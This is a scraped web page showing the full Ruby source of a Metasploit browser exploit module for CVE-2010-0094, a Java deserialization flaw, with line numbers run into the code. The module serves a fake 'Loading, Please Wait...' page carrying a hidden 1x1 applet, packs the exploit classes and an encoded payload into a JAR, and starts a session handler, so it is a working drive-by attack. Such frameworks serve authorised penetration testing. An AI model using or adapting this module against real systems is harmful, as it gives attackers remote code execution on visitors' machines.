Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/browser/java_rmi_connection_impl.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpServer::HTML910#11# Superceded by java_trusted_chain12#13#include Msf::Exploit::Remote::BrowserAutopwn14#autopwn_info({ :javascript => false })1516def initialize( info = {} )1718super( update_info( info,19'Name' => 'Java RMIConnectionImpl Deserialization Privilege Escalation',20'Description' => %q{21This module exploits a vulnerability in the Java Runtime Environment22that allows to deserialize a MarshalledObject containing a custom23classloader under a privileged context. The vulnerability affects24version 6 prior to update 19 and version 5 prior to update 23.25},26'License' => MSF_LICENSE,27'Author' => [28'Sami Koivu', # Discovery29'Matthias Kaiser', # PoC30'egypt' # metasploit module31],32'References' =>33[34[ 'CVE', '2010-0094' ],35[ 'OSVDB', '63484' ],36[ 'URL', 'http://slightlyrandombrokenthoughts.blogspot.com/2010/04/java-rmiconnectionimpl-deserialization.html' ],37],38'Platform' => [ 'java' ],39'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },40'Targets' =>41[42[ 'Generic (Java Payload)',43{44'Arch' => ARCH_JAVA,45}46],47],48'DefaultTarget' => 0,49'DisclosureDate' => '2010-03-31'50))51end525354def on_request_uri( cli, request )55if not request.uri.match(/\.jar$/i)56if not request.uri.match(/\/$/)57send_redirect(cli, get_resource() + '/', '')58return59end6061print_status("#{self.name} handling request")6263send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })64return65end6667paths = [68[ "Exploit.class" ],69[ "Exploit$1.class" ],70[ "Exploit$1$1.class" ],71[ "Exploit$2.class" ],72[ "Payloader.class" ],73[ "PayloadClassLoader.class" ],74[ "payload.ser" ],75]7677p = regenerate_payload(cli)78jar = p.encoded_jar79paths.each do |path|801.upto(path.length - 1) do |idx|81full = path[0,idx].join("/") + "/"82if !(jar.entries.map{|e|e.name}.include?(full))83jar.add_file(full, '')84end85end86fd = File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2010-0094", path ), "rb")87data = fd.read(fd.stat.size)88jar.add_file(path.join("/"), data)89fd.close90end9192print_status("Sending Applet.jar")93send_response(cli, jar.pack, { 'Content-Type' => "application/octet-stream" })9495handler(cli)96end9798def generate_html99html = "<html><head><title>Loading, Please Wait...</title></head>"100html += "<body><center><p>Loading, Please Wait...</p></center>"101html += "<applet archive=\"Exploit.jar\" code=\"Exploit.class\" width=\"1\" height=\"1\">"102html += "</applet></body></html>"103return html104end105end106107108